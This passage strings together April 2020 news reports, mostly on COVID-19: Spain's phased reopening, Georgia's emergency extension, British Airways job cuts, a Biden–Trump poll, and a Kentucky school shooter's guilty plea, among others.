added that this also included the opening of hotels and tourist apartments, not including common areas. Cafes and restaurants will also be able to open their outdoor sidewalk sections under this phase, at 30% of capacity, but entry inside will not be permitted. Mobility within a province will also be permitted under Phase 1. This means that if the first phase lasts the time expected, people could begin to visit friends and family within the same province from May 11 at the earliest. There will be a timetable for the over-65s to shop in retail establishments, he added, given that they are an at-risk group from the Covid-19 disease, while the use of masks on public transport will be highly recommended. Religious sites such as churches will be able to open in phase 1, with a limit of 30% of their capacity, the prime minister said. By the end of June, as a country we will be in the new normality if the evolution of the epidemic is under control in all territories Prime Minister Pedro Sanchez Phase 2, meanwhile, will see hostelry establishments able to open their dining areas, at a third of their capacity. As for schools, they will not fully reopen until September, but Sanchez explained that they would offer a guarantee that children aged under six can attend classes if their parents have to go to work, and so that students can complete their university application processes and exams. Sports players will also have fewer restrictions under Phase 2. Cultural events will be possible with fewer than 50 people in interior spaces, and for open-air events, there will have to be 400 people or fewer, and they will have to be seated, Sanchez explained. Cinemas and theaters will also reopen under Phase 2, with a third of their capacity allowed to enter and assigned seating. Phase 3 will be the advanced phase, he continued, once the required markers have been met, with cinemas and theaters allowing 50% of their capacity to enter, for example. General mobility will be relaxed, he added, and it will still be recommendable to wear masks on public transport. Under Phase 3, the capacity of stores and other public-facing businesses will be limited to 50%, with an inter-personal distance of two meters. Restrictions will be further relaxed for bars and restaurants. Each phase will last at least two weeks, he said, which is the incubation period of the coronavirus, and in the best-case scenario, the process will last eight weeks in all of Spain. By the end of June, as a country we will be in the new normality if the evolution of the epidemic is under control in all territories, he said. This weekend individual physical activity [for adults] will be allowed, as will walks. On May 4, all territories will enter Phase 0, and given the low number of infections and if the progress allows for it, Formentera, the Balearics, Gomera, El Hierro and Graciosa in the Canary Islands will enter Phase 1 shortly after. Mobility within a province will be permitted under Phase 1, which will begin May 11 at the earliest On May 11, all of the provinces that meet the requisites will enter Phase 1, and the Health Ministry will evaluate the markers on a two-weekly basis. There is no closed and uniform calendar, and we will advance in each place as quickly as the epidemic permits, he said. When we conclude the deescalation we can say that each province has reached a situation of new normality until a vaccine arrives. Home-working will be preferable until at least reaching Phase 3, he added. The markers the prime minister referred to will be the capacity of the countrys health systems, the epidemiological situation in each area, protection measures in the workplace, business and public transport, and mobility and socioeconomic data. These markers would be public, he added, and transparent. The prime minister made clear that it would be the central Health Ministry, and not Spains regional governments, who would be deciding on the speed of deescalation in each province, despite the latter calling for such powers. If we have to choose between prudence and risk, we opt for prudence, he stated. The virus, the prime minister said, has not gone anywhere. It is still there lurking. With our behavior, we can save lives. We can protect our lives and help to rebuild our country. That is, right now, the best kind of patriotism. The four rules of the deescalation, Sanchez explained, were a gradual, asymmetrical, coordinated and adaptable approach. The adaptability is because we dont know what we are facing. Science still doesnt know a lot of things about this virus. As such, we are facing something that we dont know, and that is why we have to be cautious. Movement between provinces had to be restricted, Sanchez explained, to avoid the spread of the virus from area to area. Imagine that one province is in Phase 1 and another in Phase 3, he said. Mobility cannot be permitted to go and meet with a relative or friend. Mobility between provinces would return when we reach the phase of the new normality, he added i.e. when the deescalation is over. Sanchez also explained that another two-week extension to the state of alarm that was implemented on March 14 would be requested in Congress. The current period is due to expire on May 9. With reporting by Carlos E. Cue, Javier Salvatierra and Isabel Valdes. English version by Simon Hunter. Prolonged state of emergency in Georgia By Malkhaz Matsaberidze The main event of the past week is the Parliaments April 22nd sitting, which extended the state of emergency until May 22nd. At the same time, however, it became clear that the anti-epidemic unity of government and opposition no longer existed. However, by demonstrating this unity, the parliament declared a state of emergency. In parallel to this, the difficulties caused by the state of emergency are causing growing dissatisfaction among the population, which was followed by a mass protest rally in Marneuli.On April 22nd, the Georgian Parliament approved by 97 votes to 10 a resolution on the government's request to extend the state of emergency for one month. Georgian Dream has enough votes for this, but the nature of the relationship between the government and the opposition is worrying. Opposition groups called for an end to the state of emergency only if the government presented a specific anti-crisis plan and a budget for the crisis. He received a response from the authorities that the government's anti-crisis plan would be approved two days later, on April 24th. The opposition was also outraged that the Prime Minister and the Minister of Health did not attend the April 22nd meeting.The opposition demanded that the situation be resolved, questioning the need for a number of emergency restrictions, as well as its vision of what anti-crisis measures should look like. Authorities avoided this, generally calling the opposition's statements populist and not taking them seriously. The United National Movement and European Georgia have again been declared enemies of the country by the government. The main argument for continuing the state of emergency is that the restrictions have worked well, and that the epidemic has not been widespread for two or three weeks now, when we are entering the most active peak phase of the epidemic.Most citizens are frightened by the impending famine more than the virus. The majority of Georgia's population depends on daily income. The one-month cessation of activities has exhausted all available resources, and the government has not received any tangible material assistance, nor do they promise to do so in the future. On April 22nd, when the state of emergency was extended for one month in Parliament, residents of several villages in Marneuli municipality held a mass protest and demanded the lifting of existing restrictions. Without being able to sell fruits and vegetables, they are left without income. Interestingly, the protesters were chanting the name of the third president, Mikheil Saakashvili. Authorities immediately announced the rally to be organized by the United National Movement. Even if the rally were to be organized by the UNM, the problem is solved by identifying this. Other regions are also affected by the drawbacks of the state of emergency and such dissatisfaction could erupt in different parts of the country. Another reason for the escalation of the conflict between the opposition and the government was the fire that broke out on April 19th in Mikheil Saakashvili's presidential library while going live on Facebook. It turned out that the person, named Badri Katamadze, is a well-known dissident of the opposition rallies, who physically abused Nika Gvaramia and destroyed Malkhaz Machalikashvilis tent. The opposition accused the government of protecting Katamadze and of deliberately using him. For example, MP Tina Bokuchava said that "Badri Katamadze is an agent of the SSS (State Security Service) and that he enjoys complete inviolability. On April 19th, when the Saakashvili Library caught fire, Georgia's third president in Ukraine came up with another initiative - offering the Georgian government the status of a temporary official and promising to mobilize several billion dollars in aid to the country. Authorities opposed the protest with all available police forces, special services and the army. It became known for the second time that Mikheil Saakashvili would become Ukraine's Deputy Prime Minister, and one of the tasks he would be assigned was to mobilise funds from international organisations for Ukraine. In addition, and most importantly, they expect reforms from him. Saakashvilis returning to active politics will be an additional headache for the Georgian government, and not only that, it will be an uncomfortable surprise for Putin as well.The prolongation of the state of emergency until May 22nd was followed by concerns from the opposition that the government had prevented the adoption of previously agreed constitutional amendments under the pretext of an epidemic. Authorities are trying to dispel such suspicions.According to President Salome Zurabishvili, everything is being done to ensure that the extension of the state of emergency does not affect the timely adoption of constitutional amendments and the election calendar. Gia Volski, the vice-speaker of the parliament, also gave specific dates for the constitutional changes to the journalists: We are not going to postpone the discussion of the constitutional amendments. We hope that we will return to this issue in June, we will finish the discussion in the first half of July and the elections will be held in October. Georgia is entering the peak of the epidemic and the future regarding the restrictions is still uncertain. A High Court judge has refused to grant an order restraining the holding of a 'closed' annual general meeting of the builders merchants and Woodies DIY Grafton Group plc today Wednesday. Mr Justice David Keane, in a ruling on Tuesday night, refused the injunction sought by Michael Chadwick, a former chairman of the group and its largest shareholder for reasons including other shareholders had not signalled any support for his bid to stop the meeting. Mr Chadwick wanted the injunction pending the full hearing of his action in which he wants declarations the closed AGM unlawfully breached shareholders rights under the Companies Act, including to participate in that meeting, plus orders quashing any resolutions passed. The format of the meeting, to be conducted by four company insiders was a bit Stalinesque and a parody of the rights of members of companies, his counsel Declan McGrath SC argued on Tuesday. There was no reason to hold the AGM in the middle of a pandemic when the company can lawfully hold it on any date up to August 7. The agenda contained important resolutions, including for directors to resign and put themselves forward for re-election, counsel said. The company had made no real effort to convene a meeting that would comply with the Companies Act but some other public companies had deferred AGMs as a result of the pandemic or put in place measures allowing shareholders to participate remotely, he said. There was no rancour in the background and Mr Chadwick did not wish to disrupt the companys business but rather to ensure shareholders rights are protected. Opposing the injunction, Paul Sreenan SC, for Grafton, argued the AGM must be held on Wednesday in accordance with a March notice issued by the company. Mr Chadwicks inability to attend was not caused by the company but by the extension to May 5th of the Covid 19 restrictions, he said. The AGM format is in line with those restrictions and Graftons 6,286 shareholders had been told not to attend and to instead forward proxy votes to the chairman, he said. This format was similar, and in some cases, less restrictive, to recent and proposed AGMs of a number of other public companies. Mr Chadwick has not appointed a proxy and nor had he identified any resolution with which he has any difficulty or any issue with the board of directors, Mr Sreenan added. On the basis of proxies to date, the vast majority of shareholders supported the proposed resolutions which were not controversial but were important for management of the company. Mr Chadwick had not accepted an offer from the company to table a resolution to have the AGM adjourned on it convening on Wednesday, counsel added. The injunction application opened at 2pm on Tuesday. In his ruling Mr Justice David Keane said the background to all this was the Covid-19 crisis and the lockdown regulations to remain in place, as of now, until May 5. Having outlined the evidence and relevant law, he said Mr Chadwick had plainly made out a serious question to be tried in his main action concerning the lawfulness of the AGM procedure and the nature and extent of his entitlement to participate. The judge did not think issues concerning adequacy of damages should the injunction be granted or refused was a significant factor in this unusual application involving a claim of procedural rights. The balance of convenience, he believed, was against granting the injunction for reasons including other shareholders did not appear to have expressed support for the move to restrain the AGM. A majority of shareholders have already voted via proxies for the resolutions, they must be taken to be aware of Mr Chadwicks complaints about the meeting procedure and there was no evidence any other shareholders supported the meeting being stopped, he said. The uncertainty in the marketplace if an injunction was granted outweighed the uncertainty created by the bringing of these proceedings, he also held. Weighing all the factors, the balance of convenience was against granting the injunction, he ruled. Source: Xinhua| 2020-04-28 13:26:34|Editor: huaxia Video Player Close HONG KONG, April 28 (Xinhua) -- John Chan, who will graduate from a university in Hong Kong this summer, has not yet received any offer from his former internship employers after working as an intern in several large companies, despite his satisfying performance. Ken Wong, also a final year college student, has started his job hunting since last November and participated in a few online job interviews. He is still waiting for further replies. According to the latest statistics from the Hong Kong Special Administrative Region (HKSAR) government, Hong Kong's unemployment rate climbed to 4.2 percent in the period of January to March 2020, the highest in more than nine years. The social unrest that set off last June and the COVID-19 pandemic have served as a double blow to the economy in Hong Kong, implying that young people may have to face joblessness upon graduation. In view of this, many universities have strengthened employment support for their students. "This year, the macro economy has been greatly affected, with sectors such as retail, logistics and hotels bearing the brunt," Kelvin Cheng, acting section head of office of careers and placement services of the Hong Kong Polytechnic University (PolyU), said. PolyU has launched a brand new online career consultation seminar this year to allow students to interact directly with employers when on-campus recruitment activities were canceled due to the COVID-19 outbreak. Meanwhile, PolyU continues to provide personalized online career counseling services and conduct mock online interviews to help students improve their interview skills. Cheng said, although the market situation may not be optimistic, students need to maintain a positive attitude, which is a personality trait valued by most employers. Normally, large companies will finalize their employment plan involving fresh graduates in the first quarter. However, while the market is uncertain this year, some companies tend to hold on hiring, so, "students are suggested to adjust their expectations," Alice Kirkwood, section head of career and leadership center of the City University of Hong Kong (CityU), said. "There are ups and downs in the market, which is normal, and difficult times will eventually pass," Kirkwood said, adding that students should look further and seize the time to equip themselves, such as reorganizing their resumes and attending online career counseling classes. From September last year to early April this year, more than 550 people participated in the "one-on-one" personal employment consulting service provided by the CityU's career and leadership center, an increase of more than 10 percent year on year, Kirkwood said. In addition to services including online interview skills and employability workshops, the center will launch a special course on April 29 to help students start building their career path in adversity. Matthew Cheung, HKSAR government Chief Secretary for Administration, said that the labor market will remain under pressure in the short term, with many companies tightening their human resources. He expected that the employment of fresh graduates will be more difficult than in previous years. The HKSAR government will create about 30,000 time-bound jobs in the public and private sectors in the next two years, covering people with different skills and academic qualifications, including fresh graduates, Cheung said. Wong, the material engineering student, admitted that he was a bit worried whether he could finally get a job he desired, but not that he felt his prospect was bleak. "According to the seniors' experience, they got their job offers in around May and June, so, there's still some time," Wong said, adding that the HKSAR government has put more efforts in developing science and innovation, which is beneficial to those who are interested in pursuing their careers in scientific research like him. Taking the advice of his career consultant, Chan expanded the scope of job search by applying for smaller companies and he recently found a job. "This company's clients may not be top-notch, but they have potential to grow," the business student said with delight. Enditem On Tuesday, Kentucky teen Gabriel Parker pleaded guilty to two counts of murder and 14 counts of assault for launching a devastating school shooting two years ago The Kentucky teenager accused of launching a school shooting two years ago that killed two and injured over a dozen has pleaded guilty to opening fire in the devastating attack. Gabriel Parker, now 18, entered a guilty plea during a hearing Tuesday morning. He is being charged as an adult on two counts of murder and 14 counts of assault. Parker was 15 years old when he opened fire at Marshall County High School in Benton, Kentucky on January 23, 2018. He killed 15-year-olds Bailey Holt and Preston Cope and injured 18 others. Parker reportedly used a Ruger 9mm pistol that was owned by his stepfather during the shooting. The teen confessed that he was the gunman in the harrowing shooting about an hour after the incident. Parker, now 18, entered a guilty plea during a hearing Tuesday morning. He is being charged as an adult on two counts of murder and 14 counts of assault. Pictured above in court on March 12, 2018 in Marshall County Circuit Court in Benton, Kentucky Parker was 15 years old when he opened fire at Marshall County High School in Benton, Kentucky on January 23, 2018. He killed 15-year-olds Bailey Holt (left) and Preston Cope (right) and injured 18 others. He's currently being held in Christian County and received his high school diploma during his time in jail. Defense attorney Tom Griffiths said Parker pleaded guilty 'not because it was the easy thing to do, but because it was the right thing to do, not just for him but for the victims and the community. He has a lot to atone for and he had to move forward and start to do that,' according to WDRB. When asked if Parker ever told Griffiths the motive behind the shooting he said 'not that makes any sense to adults. There may be a better answer to that at sentencing but I can't promise you that either.' Parks guilty plea was a part of a deal signed off by Marshall Commonwealth attorney Dennis Foust. Hes due to be sentenced on June 12, 2020. In the deal he's likely to be sentenced to life in jail with the possibility of parole after 20 years. Foust said that the victims families supported the plea agreement. Police pictured at Marshall County High School in Benton, Kentucky after the January 2018 shooting Firefighters and police pictured at Marshall County High after the devastating shooting that left 18 injured and two dead The prosecution chose not to go to trial because the COVID-19 pandemic had delayed it until at least 2021. Even then, there were no guarantees a trial would happen. 'It has been a difficult day for everyone. While theyre relieved, its a difficult situation but they wont have to go through a trial now,' Foust said according to NewsChannel5. Parker's mother released a statement on Tuesday in light of his guilty plea. 'Ive had more than two years to think about what I want to say at this moment. Two devastatingly long, cruel years to come up with the words, and I find I still dont have them. Words are inadequate to express how deeply sorry I am for everything that has happened. To every child in the school that day, to every parent and loved one of those children; to the school system and entire community, Im so sorry. Most especially, my most heartfelt apologies go to those children hurt that day and their families,' she said. 'To the Holt and Cope families, I know there will never be words that I can say to make up for the precious lives youve lost, but I hope know how deeply I feel that loss and how truly sorry I am. I can only hope you all find some comfort and light in the days and years ahead.' A 46-year old Indian national, who was found dead in Singapore after he tested positive for COVID-19, died due to multiple injuries consistent with those resulting from a fall from height and was not due to complications from the infection, according to a media report on Tuesday. A hearing into the death of Alagu Periyakarrupan in the coroner's court has been set for May 8, reported Channel Asia. Police said investigations are still ongoing and they do not suspect foul play in the death of the Indian national who was working in Singapore since 2009 to support his family which includes his three daughters, his wife and her aged parents. Periyakarrupan succumbed to his injuries after he was found motionless at the staircase landing in the Khoo Teck Puat Hospital at about 7.30am last Thursday. The Ministry of Health confirmed that Periyakarrupan had tested positive for COVID-19 on April 19 and had been warded at the hospital. His death was due to "multiple injuries consistent with those resulting from a fall from height, and was not due to complications from COVID-19 infection", the health ministry said a day later, according to the report. Dipa Swaminathan, the founder of social enterprise group Its Raining Raincoats', told Channel Asia that a volunteer has been in close contact with the family over the past few days. She said the Indian, working in Singapore, was the sole provider for his family. Our heart goes out to them, Swaminathan was quoted as saying. Alagu's eldest daughter is a star student and comes first in her class. We pray with everyone's support she can finish school and university, which will take another five years. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) British Airways is set to slash up to 12,000 jobs as part of a restructuring plan as the carrier grapples with the fallout of the novel coronavirus pandemic, its parent company IAG said Tuesday. The firm said it was still deliberating its options but that it was "likely that they will affect most of British Airways' employees and may result in the redundancy of up to 12,000". Passenger demand will take "several years" to return to 2019 levels, it added. Shares in International Airlines Group (IAG), which also owns Iberia and Vueling, lost 2.2 percent as preliminary results showed that first quarter revenue fell by 13 percent to 4.6 billion euros (USD 4.9 billion). The group's operating result before exceptional items came in at a loss of 535 million euros, compared with a profit of 135 million last year, with the second quarter expected to be worse. IAG said it had reduced passenger capacity for April and May by 94 percent compared with the same period last year. BA chief executive Alex Cruz warned last month of consequences for the airline after the coronavirus pandemic gutted demand. Recent weeks have seen it operating flights only for essential travel and repatriation of tourists marooned abroad. The carrier, which has approximately 45,000 employees including around 4,000 pilots and 16,500 cabin crew, has already furloughed nearly 23,000 staff. Brian Strutton, general secretary of the British Airline Pilots' Association (Balpa) union, called Tuesday's announcement "a bolt out of the blue", noting that BA had previously suggested "it was wealthy enough to weather the COVID storm and declined any government support". "Balpa does not accept that a case has been made for these job losses and we will be fighting to save every single one," Strutton said on the union's Twitter account. Weighing further on IAG was an exceptional 1.3 billion euro charge resulting, it said Tuesday, from the "ineffectiveness" of its fuel and foreign currency hedges for the remainder of the year. IAG, which said detailed first quarter results would be released on May 7, added that its January-February operating result was similar to that period of 2019, despite the suspension of flights to China from the end of January as the virus impacted there. The group repeated its February guidance that "given the uncertainty on the impact and duration of COVID-19, IAG is not currently providing profit guidance for 2020" as a whole. "However, the group expects its operating loss in the second quarter to be significantly worse than in the first quarter," given the virus fallout, chief financial officer Stephen Gunning said in the statement. The pandemic -- and the travel restrictions introduced to fight it -- have dealt a huge blow to the entire aviation industry, leaving many carriers in dire financial straits and announcing layoffs. British tycoon Richard Branson has warned that his part-owned airline Virgin Atlantic could collapse and is reportedly searching for fresh investors after failing to agree lending terms with the UK government. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) FILE PHOTO: Pedestrians walk along the Southbank in view of skyscrapers in the financial district in London By David Milliken LONDON (Reuters) - Economic output figures could soon come with error ranges around them, to better capture uncertainty around an historic slump that is expected to follow Britain's coronavirus shutdown, statisticians said on Monday. British gross domestic product figures were significantly revised during and after the 2008-09 financial crisis, and budget forecasters have already said this year's plunge in the economy could be even bigger. "Depending on user feedback, we could implement the proposed confidence intervals around the latest estimates of calendar quarter GDP, which would be a marked departure from how we have previously communicated data uncertainty," the Office for National Statistics said. A confidence interval represents the range within which the true value of a data estimate is believed to lie, providing a given degree of certainty, commonly 95%. There is little precedent for countries publishing confidence intervals for headline GDP numbers, though the ONS already gives confidence intervals around some labour market, migration and population data. Data revisions tend to be larger than normal at turning points in the economy. During the global financial crisis, official data initially showed Britain's economy began to shrink in the third quarter of 2008, rather than the second quarter as shown later. They also incorrectly stated a new recession in late 2011. Turning points are hard to measure because of changed patterns in how businesses respond to surveys and difficulty judging whether a sharp move represents temporary volatility or real change. "This is likely to be particularly relevant over the next year in light of the recent shocks to the UK and global economy following the coronavirus (COVID-19) pandemic and the wider containment effort," the ONS said. Prime Minister Boris Johnson said on Monday it was still too risky to relax Britain's lockdown, imposed to try to curb the spread of the coronavirus. Story continues The ONS said it would continue to state when the economy entered a 'technical' recession where there are two consecutive quarters of falling output, a simple definition widely used across Europe. But it said this definition was sensitive to revisions in output, and that it was better to look at a mix of measures such as unemployment, household incomes and retail sales, as done by the United States' National Bureau of Economic Research. The ONS said it would declare recessions only based on calendar-quarter figures, and not monthly GDP data introduced since 2008-09. Regional GDP data was also too volatile to declare recessions in parts of the United Kingdom. (Reporting by David Milliken; Editing by Catherine Evans and Timothy Heritage) Please register or log in to keep reading. No credit card required! Stay logged in to skip the surveys. LONDON Prince Harry has recorded a special message to celebrate the 75th anniversary of childrens favorite Thomas the Tank Engine. The Duke of Sussex introduces a new program called Thomas and Friends: The Royal Engine, which has a storyline that includes Harrys father and grandmother, Prince Charles and Queen Elizabeth II, as animated characters. Set when the Prince of Wales was a boy, the story sees the friendly engine taking Sir Topham Hatt, the controller of the railway, to Buckingham Palace to receive an honor. This photo shows a scene featuring Britain's Queen Elizabeth II and Prince Charles as a boy from an animated special In his introduction which was recorded in January before his move overseas Prince Harry is seen sitting in an armchair, reading from a book about the trains adventures. In a statement he said he has fond memories of growing up with Thomas and Friends and being transported to new places through his adventures. Thomas has been a comforting, familiar face to so many families over the last 75 years entertaining, educating and inspiring children on important issues through exciting stories and characters, he added. In January, Prince Harry and his wife Meghan, the Duchess of Sussex, announced they planned to quit as senior royals, seek financial independence and move to North America. The split became official at the end of March, and the couple are currently in California, where Meghan was raised. A three-year-old Duke of Sussex, then Prince Harry, shakes the hand of headmistress Jane Mynors as he arrives for his first day of nursery school with his parents, the Prince and Princess of Wales, and his brother Prince William, at Chepstow Villas in west London with a Thomas the Tank Engine bag. (AP) Proof of Prince Harrys attachment to the engine can also be seen in photos of his first day attending nursery in September 1987, where he is seen carrying a Thomas the Tank Engine bag. A 3-year-old Duke of Sussex, then Prince Harry, waves hello on his first day of nursery school at Chepstow Villas in west London, carrying his Thomas the Tank Engine bag. The Duke of Sussex has recorded an on-camera introduction to the new animated special The Rev. Wilbert Awdry released the first book in The Railway Series 75 years ago. It was originally created as a bedtime story for his son, Christopher, during a bout of the measles. The plucky blue tank engine doesnt appear in the debut story. He got his own illustrated book in 1946 called Thomas the Tank Engine and swiftly took over from Edward, Gordon and Henry as everyones favorite. The train tales were turned into a stop-motion animation series in the 80s, moving into CGI in 2009. Thomas and Friends, owned by Mattel, is now on air in over 160 countries worldwide. British actress Rosamund Pike is also onboard Thomas and Friends: The Royal Engine, voicing a new character, an important train called the Duchess of Loughborough. The show will be aired by Netflix in the U.S. on May 1 and on Channel 5s Milkshake show in the U.K. the following day. It will also be broadcast in Canada and Australia later in the month. BEIJING, April 27 (Xinhua) -- China is planning to formulate or revise a total of 17 health-related laws this year and next year to strengthen legal safeguards for public health, according to a report made public Monday. The report was submitted to the Standing Committee of the National People's Congress (NPC), China's top legislature, for deliberation at its ongoing legislative session, which opened Sunday. After years of hard work, a public health legal system involving over 30 laws has been basically set up in China, said Shen Chunyao, director of the Legislative Affairs Commission of the NPC Standing Committee, when delivering to lawmakers the report on legislation and law revision work to strengthen safeguards for public health. But the COVID-19 epidemic has exposed some problems in legislation and indicated the need for systematic law revisions and improvements, Shen said. According to the report, aside from a decision on banning illegal wildlife trade passed at the previous NPC Standing Committee session and a revision to the law on the prevention and control of environmental pollution by solid waste expected to be passed at this session, the legislation plan called for prompt efforts to formulate the biosecurity law and revise the law on animal epidemic prevention. Efforts should be made to expedite revising the wild animal conservation law and the frontier health and quarantine law, while revisions and improvements for the law on the prevention and treatment of infectious diseases, the emergency response law and others should be carefully assessed, according to the report. Relevant improvements were also proposed for the draft civil code and the draft amendments to the criminal law, Shen said. Lawmakers will deliberate the report in panel discussions Tuesday, according to the agenda. The legislative session will run through Wednesday. The BJP's Delhi unit on Tuesday claimed the sanitation workers of the party-ruled civic bodies were excluded from the city government's list of beneficiaries of its scheme to provide Rs 1-crore ex-gratia to "corona warriors" in case of death due to COVID-19. A senior Delhi government functionary rubbished the BJP'S claim saying all sanitation staff working in the fight against coronavirus epidemic are covered under the scheme. Delhi BJP president Manoj Tiwari, who tweeted a purported Delhi government order listing beneficiaries of the scheme, said it was "unfortunate" that the sanitation workers of the municipal corporations who were serving at the frontline in the fight against the coronavirus epidemic were excluded from it. A copy of the order posted on Twitter by Tiwari did mention among beneficiaries 'sanitation staff' but the BJP leaders claimed it relates to other departments of the government, not the three municipal corporations. "Cheap of the BJP even amid corona crisis. Manoj Tiwari ji you are filled with hatred which is impossible to cure. Instead of criticising Arvind Kejriwal, if you had read the order, you would save yourself from being ridiculed. It's clearly mentioned that Rs 1 crore will also be given in case a sanitation staff dies," AAP Rajya Sabha MP Sanjay Singh tweeted. Tiwari, as also mayors and other leaders of BJP-ruled municipal corporations demanded Chief Minister Arvind Kejriwal to include sanitation workers in the list of beneficiaries of the scheme. Delhi Congress vice president and South Delhi Municipal Councilor Abhishek Dutt too raised the demand saying he had written a letter in this regard to the government. "Nobody paid attention then and we were ridiculed even when I started a signature campaign for ex-gratia of Rs 1 crore to a South Delhi Municipal corporation(SDMC) sanitation worker who died due to COVID-19. Now, the BJP has woken up to it," Dutt said. South Delhi Mayor Sunita Kangra in a letter to Kejriwal claimed that SDMC staff were not covered under the compensation scheme. "This exclusion has demotivated our staff and they are feeling discriminated. Now they are unwilling to perform COVID 19 duty under district administration," she said in the letter. She requested the chief minister to extend the benefit of the scheme to SDMC staff. A 57-year-old sanitation worker of the SDMC died last Saturday, after testing positive for coronavirus. BJP's Leader of Opposition in Delhi Assembly Ramvir Singh Bidhuri said sanitation workers of municipal corporations should also be included in the compensation scheme. Delhi BJP spokesperson Praveen Shankar Kapoor in a letter to Lt Governor Anil Baijal has requested him to direct the Delhi government to include municipal staff, especially health and sanitation workers on duty as frontline "Corona warriors" in the list of beneficiaries of its ex-gratia scheme. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Six months before Election Day, the coronavirus pandemic has done what impeachment did not: Cost President Donald Trump his advantage over Joe Biden in the 2020 campaign. A new USA TODAY/Suffolk University Poll shows the former vice president leading Trump nationwide by 6 percentage points, 44% to 38%, a shift from Trump's 3-point lead in the survey as he was being impeached by the House in December. In a contest without a third-party contender, Biden's margin jumps to 10 points, 50% to 40%. In the previous poll, when Trump led 44% to 41%, Biden was in the middle of a fierce battle for the Democratic nomination. Now he is the party's presumptive nominee. The findings underscore the challenge the deadly pandemic is posing to the presidents political standing, which has proved durable through investigations into Russian meddling in the 2016 election, a Senate impeachment trial over his dealings with Ukraine and other controversies. Now Trump's standing may be threatened in the face of questions about the response he and his administration have made to a disease that has cost more than 55,000 lives in the United States and imperiled the nations economy. Earlier poll: Impeached or not, Trump leads his Democratic rivals for another term President Donald Trump speaks about the coronavirus in the James Brady Press Briefing Room of the White House, Monday, April 6, 2020, in Washington. I had to give up watching the White House briefings, said Democrat Eric Haenfler, 67, a retired music teacher and band director from Gilbert, Arizona, who was called in the poll. I couldnt stand to watch him say ignorant things. They were just campaign rallies and gave no information and what information he was giving was false and sometimes dangerous. But Mercedes Nazarian, 29, a political independent and bartender from Savannah, Georgia, said her support for Trump hadnt been shaken. I think hes doing the best to his ability, she said in a follow-up interview. I believe its out of his control at this point. I mean, nobody can control a virus. Trumps backing in the GOP remains rock-solid: More than nine of 10 Republicans say they will vote for him. But among independents, his standing has plummeted by 18 percentage points since the poll taken in December, to 27% from 45%. (Biden hasnt won over all those voters. He gained significant 8 points among independents, but one in three now say they are undecided or would vote for a third-party candidate.) Story continues Trump also has lost support by double digits among men, a group that has been part of his political base. While men still back Trump over Biden 46% to 35%, thats a narrower advantage than in December, when it was 56% to 30%. Women now support Biden 53% to 30%. Coronavirus and elections: Displaced college students worry how they'll vote Neither ranked high as a strong leader Asked about a half-dozen traits important for a president to have, views of Trump were more firmly set than they were for Biden. That leaves more room for a campaign to define the Democratic challenger in both positive and negative ways. In this combination of file photos, former Vice President Joe Biden speaks in Wilmington, Del., on March 12, 2020, left, and President Donald Trump speaks at the White House in Washington on April 5, 2020. At the moment, however, the former vice president scored a higher net score (the positive rating minus the negative rating) than the president did on all six characteristics. The traits were: "A strong leader." Neither was seen by a majority of Americans as a strong leader, with 45% saying that described Trump and 52% that it didn't. For Biden, 43% said it described him; 47% said it didnt. "Cares about people like me." Biden swamped Trump when it came to empathy; 57% said it described the former vice president; just 39% said it described the president. "Knows how to get things done." Trump fared a bit better. By 51% to 45%, voters said that described him; by 48% to 39% that it described Biden. "Stands up for U.S. interests." Biden scored better on what has been a rallying cry for Trump and his troops. By 58% to 34%, those surveyed said that described Biden; by 53% to 43% they said it described Trump. "Honest and trustworthy." This was Trumps worst rating. By more than 2-1, 64% to 31%, those surveyed said that trait didnt describe him. Views of Biden were better, although not exactly glowing. By 47% to 43%, those surveyed said he was honest and trustworthy. "Can work with foreign leaders." Biden was much more likely to be seen as someone who could do this; 64% said it described the former vice president and 45% said it described the current president. The poll is clear about which candidate qualities align best with voters, said David Paleologos, director of the Suffolk University Political Research Center. A central campaign theme for Trump will be about getting things done, while Biden will shape his campaign around caring about everyday people at home while working best with foreign leaders abroad. The poll of 1,000 registered voters, taken by landline and cellphone Tuesday through Saturday, has a margin of error of plus or minus 3 percentage points. A red flag among African-Americans The findings also had some red flags for Biden, who since the last poll has emerged as the presumptive Democratic nominee. Coronavirus pandemic: Is it time to worry about the November election? Democratic presidential candidate former Vice President Joe Biden speaks at a primary night election rally in Columbia, S.C., Saturday, Feb. 29, 2020. His support among black voters has dropped in a hypothetical three-way race with Trump and a third-party candidate. Although the sample size is small, making precise comparisons unreliable, about two-thirds of African American voters support Biden now; nearly eight in 10 had backed him in December. Those voters didnt move to Trump, supported by just 8%. But one in four black voters now say they are undecided or would vote for a third-party candidate. African American voters in the South Carolina primary and on Super Tuesday were crucial in Bidens primary victories, and analysts agree its imperative for him to generate enthusiastic support among them in November. He has promised to select a woman as his running mate, and some activists are urging him to choose a black woman such as U.S. Sen. Kamala Harris of California, U.S. Rep. Val Demings of Florida or Stacey Abrams, who lost a bid for Georgia governor last year. Biden needs his Biden: Here's a look at the women who could be on his VP short list In the wake of the primaries, Biden has made progress in consolidating support among Democrats; 87% of Democratic voters now back him, and he has been endorsed by his primary rivals, former President Barack Obama and others. He has gained ground among voters under 35, a group that had been more likely in the primaries to support U.S. Sen. Bernie Sanders of Vermont. Now Biden is backed over Trump among younger voters by 50% to 25%. That said, one in four of those 18 to 34 years old are still undecided or prefer a third-party candidate. I dont have anything against Biden; I was just hoping for something different, said Kate Elliott, 33, a Democrat from Cincinnati who would have preferred Sanders, U.S. Sen. Elizabeth Warren of Massachusetts or Pete Buttigieg, the former mayor of South Bend, Indiana both of whom have endorsed Biden. But there's no question she prefers Biden over Trump, calling the president's leadership during the pandemic irrational and unpredictable. Ill vote for Biden, she said, but with a heavy sigh. Another coronavirus relief bill: Here's what's in it This article originally appeared on USA TODAY: Exclusive: Biden jumps to lead over Trump amid coronavirus concerns Nearly four years since a financially desperate Moda Health filed what seemed like a longshot lawsuit against the federal government, Monday brought a shocking development: Moda won. The U.S. Supreme Court ruled Monday that the federal government owes Moda and other health insurers an estimated $12 billion promised as part of the Affordable Care Act. A newly Republican-controlled Congress reneged on the promise in 2014, in what some called an effort to sabotage the signature achievement of the Obama administration. Writing for an 8-1 majority, Justice Sonia Sotomayer said Congress could have said the payments were contingent on future appropriations, but it had not done so. As a result, the government had a "legal duty" to pay up. This holding "reflects a principle as old as the nation itself: The government should honor its obligations," Sotomayor said. The ruling could lead to a $250 million windfall for Moda, though the company declined to confirm that. In a written statement, Robert Gootee, Moda CEO, said he was pleased 